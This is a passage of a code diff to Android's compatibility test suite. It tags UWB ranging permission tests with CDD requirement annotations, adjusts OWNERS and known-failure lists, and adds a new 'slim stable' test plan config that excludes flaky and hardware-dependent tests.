public void testOpenRangingSessionWithChipIdWithoutUwbPrivileged() {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
try {
@@ -682,6 +711,7 @@
* Simulates the app holding UWB_PRIVILEGED permission, but not UWB_RANGING.
*/
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testOpenRangingSessionWithoutUwbRanging() {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
try {
@@ -701,6 +731,7 @@
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testOpenRangingSessionWithChipIdWithoutUwbRanging() {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
try {
@@ -752,6 +783,7 @@
* the proxied app not holding UWB_RANGING permission.
*/
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2,C-1-5"})
public void testOpenRangingSessionWithoutUwbRangingInNextAttributeSource() {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
try {
@@ -776,6 +808,7 @@
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2,C-1-5"})
public void testOpenRangingSessionWithChipIdWithoutUwbRangingInNextAttributeSource() {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
try {
@@ -801,6 +834,7 @@
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2,C-1-5"})
public void testFiraRangingSession() throws Exception {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
CancellationSignal cancellationSignal = null;
@@ -894,6 +928,7 @@
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2,C-1-4"})
public void testUwbStateToggle() throws Exception {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
try {
@@ -910,6 +945,7 @@
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testSendVendorUciMessage() throws Exception {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
CountDownLatch rspCountDownLatch = new CountDownLatch(1);
@@ -943,6 +979,7 @@
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testSendVendorUciMessageWithFragmentedPackets() throws Exception {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
CountDownLatch rspCountDownLatch = new CountDownLatch(1);
diff --git a/tools/cts-tradefed/OWNERS b/tools/cts-tradefed/OWNERS
index d27cf19..9577d3a 100644
--- a/tools/cts-tradefed/OWNERS
+++ b/tools/cts-tradefed/OWNERS
@@ -3,11 +3,6 @@
normancheung@google.com
jdesprez@google.com
-# Android Partner Eng Approvers
-aaronholden@google.com
-yuji@google.com
-nickrose@google.com
-
# File Specific Approvers
per-file Backup* = file:platform/frameworks/base:/services/backup/OWNERS
per-file cts-meerkat.xml = alanstokes@google.com, brufino@google.com, lus@google.com, rickywai@google.com
diff --git a/tools/cts-tradefed/res/config/cts-known-failures.xml b/tools/cts-tradefed/res/config/cts-known-failures.xml
index d785d96..8eac1ed 100644
--- a/tools/cts-tradefed/res/config/cts-known-failures.xml
+++ b/tools/cts-tradefed/res/config/cts-known-failures.xml
@@ -286,4 +286,7 @@
<option name="compatibility:exclude-filter" value="CtsGraphicsTestCases android.graphics.cts.ImageDecoderTest#testDecode10BitHeifWithLowRam" />
<option name="compatibility:exclude-filter" value="CtsGraphicsTestCases[instant] android.graphics.cts.ImageDecoderTest#testDecode10BitHeifWithLowRam" />
+ <!-- b/223402586 -->
+ <option name="compatibility:exclude-filter" value="CtsAppCompatHostTestCases com.android.cts.appcompat.CompatChangesValidConfigTest#testOnlyAllowedlistedChangesAreOverridable" />
+
</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-slim-stable.xml b/tools/cts-tradefed/res/config/cts-slim-stable.xml
new file mode 100644
index 0000000..6d64e2c
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-slim-stable.xml
@@ -0,0 +1,164 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration
+ description="Runs stable set of CTS tests for virtual device slim image">
+
+ <include name="cts-virtual-device-stable"/>
+
+ <option name="plan" value="cts-slim-stable"/>
+
+ <!-- These core test suites are inexplicably not included in cts-virtual-device-stable, so add them here -->
+ <option name="compatibility:include-filter" value="CtsAppTestCases"/>
+ <option name="compatibility:include-filter" value="CtsContentTestCases"/>
+ <option name="compatibility:include-filter" value="CtsDisplayTestCases"/>
+ <option name="compatibility:include-filter" value="CtsGraphicsTestCases"/>
+ <option name="compatibility:include-filter" value="CtsOsTestCases"/>
+ <option name="compatibility:include-filter" value="CtsUtilTestCases"/>
+ <option name="compatibility:include-filter" value="CtsViewTestCases"/>
+ <option name="compatibility:include-filter" value="CtsWidgetTestCases"/>
+
+ <!-- flaky tests -->
+ <option name="compatibility:exclude-filter"
+ value="CtsAppTestCases android.app.cts.ActivityManagerProcessStateTest#testCantSaveStateLaunchAndSwitch" />
+ <option name="compatibility:exclude-filter"
+ value="CtsContentTestCases android.content.cts.ContentProviderClientTest#testBulkInsertTimeout"/>
+ <option name="compatibility:exclude-filter"
+ value="CtsContentTestCases android.content.cts.ContentProviderClientTest#testUncanonicalizeTimeout" />
+ <option name="compatibility:exclude-filter"
+ value="CtsContentTestCases android.content.cts.ContentResolverSyncTestCase#testCallMultipleAccounts" />
+ <option name="compatibility:exclude-filter"
+ value="CtsContentTestCases android.content.cts.ContentQueryMapTest#testSetKeepUpdated" />
+ <option name="compatibility:exclude-filter"
+ value="CtsLocationFineTestCases android.location.cts.fine.LocationManagerFineTest#testRegisterGnssMeasurementsCallback" />
+ <option name="compatibility:exclude-filter" value="CtsTransitionTestCases"/>
+ <option name="compatibility:exclude-filter"
+ value="CtsVoiceInteractionTestCases android.voiceinteraction.cts.DirectActionsTest" />
+ <option name="compatibility:exclude-filter"
+ value="CtsWidgetTestCases android.widget.cts.ZoomControlsTest#testHasFocus" />
+
+ <!-- also fails on sdk_phone -->
+ <option name="compatibility:exclude-filter"
+ value="CtsAppTestCases android.app.cts.SystemFeaturesTest#testLocationFeatures" />
+ <option name="compatibility:exclude-filter"
+ value="CtsAppTestCases android.app.cts.SystemFeaturesTest#testCameraFeatures" />
+ <option name="compatibility:exclude-filter"
+ value="CtsAppTestCases android.app.cts.SystemFeaturesTest#testSensorFeatures" />
+ <option name="compatibility:exclude-filter"
+ value="CtsContentTestCases android.content.pm.cts.InstallSessionParamsUnitTest#checkSessionParams[11]" />
+
+ <!-- documentsui dependent tests -->
+ <option name="compatibility:exclude-filter"
+ value="CtsAppTestCases android.app.cts.DownloadManagerTest#testDownload_onMediaStoreDownloadsDeleted"/>
+ <option name="compatibility:exclude-filter"
+ value="CtsOsTestCases android.os.cts.StrictModeTest#testVmPenaltyListener" />
+ <option name="compatibility:exclude-filter"
+ value="CtsOsTestCases android.os.cts.StrictModeTest#testContentUriWithoutPermission" />
+ <option name="compatibility:exclude-filter"
+ value="CtsOsTestCases android.os.cts.StrictModeTest#testFileUriExposure" />
+
+ <!-- ime dependent tests -->
+ <option name="compatibility:exclude-filter"
+ value="CtsAppTestCases android.app.cts.ActivityKeyboardShortcutsTest#testRequestShowKeyboardShortcuts"/>
+ <option name="compatibility:exclude-filter" value="CtsInputMethodTestCases"/>
+
+ <!-- systemui dependent tests -->
+ <option name="compatibility:exclude-filter"
+ value="CtsAppTestCases android.app.cts.NotificationManagerTest#testNotificationManagerBubble_setSuppressBubble"/>
+ <option name="compatibility:exclude-filter"
+ value="CtsAppTestCases android.app.cts.NotificationManagerTest#testNotificationManagerBubble_setSuppressBubble_dismissLocusActivity"/>
+ <option name="compatibility:exclude-filter"
+ value="CtsAppTestCases android.app.cts.NotificationManagerTest#testNotificationManagerBubble_checkActivityFlagsDocumentLaunchMode"/>
+ <option name="compatibility:exclude-filter"
+ value="CtsAppTestCases android.app.cts.NotificationManagerTest#testNotificationManagerBubble_checkIsBubbled_pendingIntent"/>
+ <option name="compatibility:exclude-filter"
+ value="CtsAppTestCases android.app.cts.NotificationManagerTest#testNotificationManagerBubble_checkIsBubbled_shortcut"/>
+ <option name="compatibility:exclude-filter"
+ value="CtsOsTestCases android.os.cts.AppHibernationIntegrationTest#testUnusedApp_getsForceStopped" />
+ <option name="compatibility:exclude-filter"
+ value="CtsOsTestCases android.os.cts.AutoRevokeTest#testInstallGrants_notRevokedImmediately" />
+ <option name="compatibility:exclude-filter"
+ value="CtsOsTestCases android.os.cts.AutoRevokeTest#testAutoRevoke_userAllowlisting" />
+ <option name="compatibility:exclude-filter"
+ value="CtsOsTestCases android.os.cts.AutoRevokeTest#testUnusedApp_getsPermissionRevoked" />
+ <option name="compatibility:exclude-filter"
+ value="CtsOsTestCases android.os.cts.AutoRevokeTest#testUnusedApp_uninstallApp" />
+ <option name="compatibility:exclude-filter"
+ value="CtsViewTestCases android.view.cts.ViewTest#testGetWindowVisibleDisplayFrame" />
+ <option name="compatibility:exclude-filter"
+ value="CtsWidgetTestCases android.widget.cts.ToastTest" />
+
+ <!-- other apps dependent tests -->
+ <option name="compatibility:exclude-filter"
+ value="CtsContentTestCases android.content.cts.AvailableIntentsTest"/>
+ <option name="compatibility:exclude-filter"
+ value="CtsOsTestCases android.os.cts.AppHibernationIntegrationTest#testAppInfo_RemovePermissionsAndFreeUpSpaceToggleExists" />
+ <option name="compatibility:exclude-filter"
+ value="CtsOsTestCases android.os.cts.CompanionDeviceManagerTest#testProfiles" />
+ <option name="compatibility:exclude-filter"
+ value="CtsOsTestCases android.os.cts.CompanionDeviceManagerTest#testRequestNotifications" />
+ <option name="compatibility:exclude-filter"
+ value="CtsLocationFineTestCases android.location.cts.fine.ScanningSettingsTest#testWifiScanningSettings" />
+ <option name="compatibility:exclude-filter"
+ value="CtsLocationFineTestCases android.location.cts.fine.ScanningSettingsTest#testBleScanningSettings" />
+ <option name="compatibility:exclude-filter"
+ value="CtsVoiceInteractionTestCases android.voiceinteraction.cts.HotwordDetectionServiceBasicTest#testHotwordDetectionService_onDetectFromExternalSource_success" />
+
+ <!-- hardware renderer dependent tests -->
+ <option name="compatibility:exclude-filter"
+ value="CtsDisplayTestCases android.display.cts.VirtualDisplayTest#testUntrustedSysDecorVirtualDisplay" />
+ <option name="compatibility:exclude-filter"
+ value="CtsGraphicsTestCases android.graphics.cts.BasicVulkanGpuTest" />
+ <option name="compatibility:exclude-filter"
+ value="CtsGraphicsTestCases android.graphics.cts.BitmapTest#testCreateBitmap_Picture_immutable" />
+ <option name="compatibility:exclude-filter"
+ value="CtsGraphicsTestCases android.graphics.drawable.cts.AnimatedImageDrawableTest#testRepeatCounts" />
+ <option name="compatibility:exclude-filter"
+ value="CtsGraphicsTestCases android.graphics.drawable.cts.AnimatedImageDrawableTest#testAddCallbackAfterStart" />
+ <option name="compatibility:exclude-filter"
+ value="CtsGraphicsTestCases android.graphics.drawable.cts.AnimatedImageDrawableTest#testLifeCycle" />
+ <option name="compatibility:exclude-filter"
+ value="CtsNativeHardwareTestCases" />
+ <option name="compatibility:exclude-filter"
+ value="CtsViewTestCases android.view.cts.ASurfaceControlTest" />
+ <option name="compatibility:exclude-filter"
+ value="CtsViewTestCases android.view.cts.ASurfaceControlBackPressureTest" />
+ <option name="compatibility:exclude-filter"
+ value="CtsViewTestCases android.view.cts.FrameMetricsListenerTest" />
+ <option name="compatibility:exclude-filter"
+ value="CtsViewTestCases android.view.cts.PixelCopyTest" />
+ <option name="compatibility:exclude-filter"
+ value="CtsViewTestCases android.view.cts.TextureViewTest#testSamplingWithTransform" />
+ <option name="compatibility:exclude-filter"
+ value="CtsViewTestCases android.view.cts.TextureViewTest#testTransformScale" />
+ <option name="compatibility:exclude-filter"
+ value="CtsViewTestCases android.view.cts.TextureViewTest#testRotateScale" />
+ <option name="compatibility:exclude-filter"
+ value="CtsViewTestCases android.view.cts.TextureViewTest#testFirstFrames" />
+ <option name="compatibility:exclude-filter"
+ value="CtsWidgetTestCases android.widget.cts.MagnifierTest" />
+
+ <!-- screenshot reliant tests -->
+ <option name="compatibility:exclude-filter"
+ value="CtsGraphicsTestCases android.graphics.drawable.cts.AnimatedVectorDrawableParameterizedTest#testAnimationOnLayer"/>
+ <option name="compatibility:exclude-filter"
+ value="CtsGraphicsTestCases android.graphics.drawable.cts.AnimatedVectorDrawableParameterizedTest#testInfiniteAVD"/>
+ <option name="compatibility:exclude-filter"
+ value="CtsViewTestCases android.view.cts.ViewAnimationMatrixTest#testAnimationMatrixAppliedDuringDrawing"/>
+ <option name="compatibility:exclude-filter"
+ value="CtsViewTestCases android.view.cts.ViewAnimationMatrixTest#testAnimationMatrixClearedWithPassingNull"/>
+ <option name="compatibility:exclude-filter" value="CtsUiRenderingTestCases"/>
+
+</configuration>
diff --git a/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
index 94a65bf..f4abe76 100644
--- a/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
+++ b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
@@ -105,6 +105,7 @@
BINARY_EXCEPTIONS.add("img2simg");
BINARY_EXCEPTIONS.add("lpmake");
BINARY_EXCEPTIONS.add("lpunpack");
+ BINARY_EXCEPTIONS.add("mk_payload");
BINARY_EXCEPTIONS.add("sign_virt_apex");
BINARY_EXCEPTIONS.add("simg2img");
}